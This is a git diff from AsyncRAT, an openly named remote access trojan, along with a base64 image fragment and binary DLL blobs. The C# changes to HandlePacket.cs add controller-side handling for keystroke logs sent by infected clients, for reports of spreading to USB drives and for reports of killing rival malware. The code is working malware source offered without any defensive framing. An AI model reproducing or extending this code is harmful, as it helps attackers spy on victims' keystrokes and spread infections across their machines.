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 + gg== + + + \ No newline at end of file diff --git a/AsyncRAT-C#/AsyncRAT-Sharp/Handle Packet/HandlePacket.cs b/AsyncRAT-C#/AsyncRAT-Sharp/Handle Packet/HandlePacket.cs index dcead4a..67e6fa0 100644 --- a/AsyncRAT-C#/AsyncRAT-Sharp/Handle Packet/HandlePacket.cs +++ b/AsyncRAT-C#/AsyncRAT-Sharp/Handle Packet/HandlePacket.cs @@ -42,8 +42,11 @@ namespace AsyncRAT_Sharp.Handle_Packet Client.ID = unpack_msgpack.ForcePathObject("HWID").AsString; Program.form1.listView1.Items.Insert(0, Client.LV); lock (Settings.Online) + { Settings.Online.Add(Client); + } })); + HandleLogs.Addmsg($"Client {Client.ClientSocket.RemoteEndPoint.ToString().Split(':')[0]} connected successfully", Color.Green); } break; @@ -53,6 +56,26 @@ namespace AsyncRAT_Sharp.Handle_Packet } break; + case "Logs": + { + HandleLogs.Addmsg(unpack_msgpack.ForcePathObject("Message").AsString, Color.Black); + } + break; + + + case "BotKiller": + { + HandleLogs.Addmsg($"Client {Client.ClientSocket.RemoteEndPoint.ToString().Split(':')[0]} found {unpack_msgpack.ForcePathObject("Count").AsString} malwares and killed them successfully", Color.Orange); + } + break; + + + case "usbSpread": + { + HandleLogs.Addmsg($"Client {Client.ClientSocket.RemoteEndPoint.ToString().Split(':')[0]} found {unpack_msgpack.ForcePathObject("Count").AsString} USB drivers and spreaded them successfully", Color.Purple); + } + break; + case "Received": { if (Program.form1.listView1.InvokeRequired) @@ -160,7 +183,7 @@ namespace AsyncRAT_Sharp.Handle_Packet { SD.C = Client; SD.labelfile.Text = Path.GetFileName(file); - SD.Size = Convert.ToInt64(size); + SD.dSize = Convert.ToInt64(size); SD.timer1.Start(); } })); @@ -191,6 +214,28 @@ namespace AsyncRAT_Sharp.Handle_Packet break; } + case "keyLogger": + { + if (Program.form1.InvokeRequired) + { + Program.form1.BeginInvoke((MethodInvoker)(() => + { + Keylogger KL = (Keylogger)Application.OpenForms["keyLogger:" + Client.ID]; + if (KL != null) + { + KL.richTextBox1.AppendText(unpack_msgpack.ForcePathObject("Log").GetAsString()); + } + else + { + MsgPack msgpack = new MsgPack(); + msgpack.ForcePathObject("Packet").AsString = "keyLogger"; + msgpack.ForcePathObject("Log").AsString = "false"; + Client.BeginSend(msgpack.Encode2Bytes()); + } + })); + } + break; + } case "fileManager": { @@ -290,6 +335,7 @@ namespace AsyncRAT_Sharp.Handle_Packet } } } + catch (Exception ex) { Debug.WriteLine(ex.Message); diff --git a/AsyncRAT-C#/AsyncRAT-Sharp/Resources/Costura.dll b/AsyncRAT-C#/AsyncRAT-Sharp/Resources/Costura.dll new file mode 100644 index 0000000000000000000000000000000000000000..aadd6de10a74a636cd02803f1d95510e62f7dad5 GIT binary patch literal 4096 zcmeHJeQ;D)6+bT_+wjp4D3lhIJ{oML(6^xp5JD*%vI&Vo0@?6Y zC0WdrbV?a;tfS*cTU$G#R7%?!!J-ANGjw#c8A&VRKaNff$c&W2_yHY*rQq+}_cqy( z(*Eywckl1s^Ks8T=iINi=HahVF%gYJy?&kOC|WKNi60Gp5SQKcvobm|eqhc~W%a=*fdGlTt?r4I=HuTK)SqKrJW{c&|Caw4unp(pFTqRfbwnB19_-NZEaz^NPa06;TOoQsGkx(RgMS zlnCPQE1+-Io$11Z2|H+I>@zDBQluLDw7puZ)T%107A|F037Nnih$|i;I*Ya({#L|1 z$FNc^Yh1=!aHtjQV>E<5FJZ;1_03VVr4S7A*p;Ro2h9b;l~vOMzyG6D(d}S>&nbXR z_Suh#L7!zruHv^LdYk%{5LGISv*@SFWO@gp5H-?faAqjGf!`;_*ClR|*emgx#IVF6 zWhZo=0u4L%vL>srfF^gKO+$))Ws>z3qBgN2j!#upQHgQ&hyWsgxc!MV*I5 zjb}YUb*?MYaWmI$c!lhC-AM_r5jTeDww*7G)o(ORu|YVlVOwK`%~q%Fq;(HM-Mpz* zy=`?GDR{_wV~s?Gn{bTGXkopb&KRZ~(I!m2NA}#YgV#DpLc$v>U<1098xgc+Ezd{` z$@h%7VH#e6wAnH|LpO~bf?_$>6KO5b*MhKcH1dholBOAG4J(UIQzSS9YO%fMbjB2E zVR<6i(321{G}02D?d0{NhMuypY(~P(v-0!#kqaj#ob5(JxWQ^-eylgh*7!Eel=o%5 zCj$v~#mo1VJ$wA=_NM0!Uzy(DknW*zs-lz@tE7~mGi3^sWu>p~=-6;)_2AyV@6lYG z^FE?)Vtj}XD(JRY-9kS6d{T}b=>L81(JRj_)-E1Ad8|0{evN*?Ik7;CEc({=vi>_R zwhYZ5*zu=_4!rohdu08*+C#~GPfpZ|au?rut^Y{ddn;a;9G&C+yLWTZmGl4jMCGYt z$#cuj?|*k^=vrdW_`_RY{@u3CjbHuk;y;|YcmI!OzBEJM|Hj`$$?QFwSIj9r@{Kp| zxwP&{oCKv*k+(C^Z1$+V==P0{o@ueI;mo#oId-?pdK>}KDurfhEe-9%n|eX8gvw+}dzBWq4iLxR$Wf;YK@|3kOFojHfo! z<%Scs<)1U#!TmW&p*jLsUJPydTdn4vdO}D3VF6sOpGL;Rp-Mtm-Z( z*Uma1G~Y;-#y>p86BH_ugwM|(c)E0T_Wq5>O8+vncX0cU%^5E}pF6$lldrrvt7*Z3 z*Onh#vhusnY+5(;$Hn#DUr)b(`t1d~2Y;yyJox37=(%|n&ooUx|AQYszNh@feVr$# zJKqWYCi~B;y&rTh30iM%-f9k}+r@nNbb)Wq%BS=Jt9pBawWW2)?UUg+&qGghC ziZ#_euxK#_M(QC6ipuEL>HBXIh^N+UA-BNEmQPW(b z8heS8+9Z z8}PPl0XAS=V$_T;trpPDz()V8i+(Zg@7MUG`)^ME?J1@efgM}}!J!HmXribJtm@>z zj)89p0h<s$aV6dXM^&~p>b!iSrqu>LCXL?^&ysyOPxx@?fECdTSB`Jq=>u8g7zqG7MzZ`G{wBtaQ`E#n6T|h2mYf%C{ zSB__7nG2g)^n3|UCCVPE9-coVW6U9=czvPIr3?Oel)>0q3gef;Y#z8-%&x%_`yC$k zHY_7?p~3U$QlHxlM!29@pCjZv#i8SYb|4|D!L_Ii=PfF|O-Q{Av_|sHnHsUr`>1f- z28?5SBl=bFGG960HTbGk@-ut0dHi_RVmz;Z78&yjyu-aQCjJoo8m)h07V_~|$@n>6 nb;yy6Sa=Vaa+lqFj3)OfhJJieaiK%&?2?aH{lCWlUIzXPY8&fP literal 0 HcmV?d00001 diff --git a/AsyncRAT-C#/AsyncRAT-Sharp/Resources/Costura.xml b/AsyncRAT-C#/AsyncRAT-Sharp/Resources/Costura.xml new file mode 100644 index 0000000..7e9ca15 --- /dev/null +++ b/AsyncRAT-C#/AsyncRAT-Sharp/Resources/Costura.xml @@ -0,0 +1,18 @@ + + + + Costura + + + + + Contains methods for interacting with the Costura system. + + + + + Call this to Initialize the Costura system. + + + + diff --git a/AsyncRAT-C#/AsyncRAT-Sharp/Resources/IconLib.dll b/AsyncRAT-C#/AsyncRAT-Sharp/Resources/IconLib.dll new file mode 100644 index 0000000000000000000000000000000000000000..c58d15fc4696b05ddac467216cef04b55e61c978 GIT binary patch literal 57856 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 